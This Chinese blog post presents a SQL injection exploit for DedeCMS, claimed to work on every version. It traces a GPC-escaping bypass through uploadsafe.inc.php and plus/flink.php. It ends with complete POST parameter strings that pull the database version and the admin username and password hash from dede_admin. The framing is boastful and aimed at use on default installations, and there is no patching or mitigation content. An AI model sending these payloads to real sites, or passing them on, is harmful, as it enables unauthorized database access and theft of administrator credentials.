DedeCMS全版本通杀SQL注入(真正的无任何限制附官方测试结果)

发表评论
1,259 次浏览

A+

所属分类：WEB安全

最近很多人刷dedecms的漏洞，个人表示很无语。
粗略看了下,这些洞存在太大限制
一句话总结：只要会员中心一关，全部没法用...
试问现在哪个傻子会开会员中心... 默认都是关闭的,所以哪...
今天这个洞，无视会员中心，无视GPC，会员中心，GPC你哪凉快哪呆着去，默认安装就能利用哦...
也一句话总结：架构问题才是真问题。

（ps:调皮一下^-^，felixk3y某见怪，话说这个漏洞跨越了多个版本，不知会不会打雷。）

首先，我们来看看dede重要文件 common.inc.php

这里开始过滤得很完整，往下看

//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数

if($_FILES)
{

    require_once(DEDEINC.'/uploadsafe.inc.php');
}

我看再看：uploadsafe.inc.php

//29行

    $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);

看到这里，我笑了。

这不是能绕过 GPC的节奏么。

好吧，随便找一个能添加数据的地方

于是找到了

plus\flink.php

虽然都经过 htmlspecialchars

我们看看：

htmlspecialchars(string,quotestyle,character-set)

可选。规定如何编码单引号和双引号。

ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
默认情况下仅编码双引号。

这里不是重点，不过也是能利用的条件之一，用于绕过dede自带的ids。
构造webname 值为：

&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

这里解释一下，经过GPC后 webname 变为 pass\\

经过刚才 uploadsafe.inc.php 的函数后

webname 变为 pass\

插入到SQL语句中就变成了

INSERT INTO `dede_flink`(sortrank,url,webname,logo,msg,email,typeid,dtime,ischeck) VALUES('50','http://','pass\','

即吃掉了后面的 ' ，从而实现绕过GPC。

不过ExecuteNoneQuery不支持错误回显，那我们就构造好，让他显示出来吧。于是后面的logo函数就变成：

logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`

ischeck 为1即绕过审核，结果直接显示出来。

完整参数为：

查版本：

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

查密码：

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

验证码字段自己修改。。。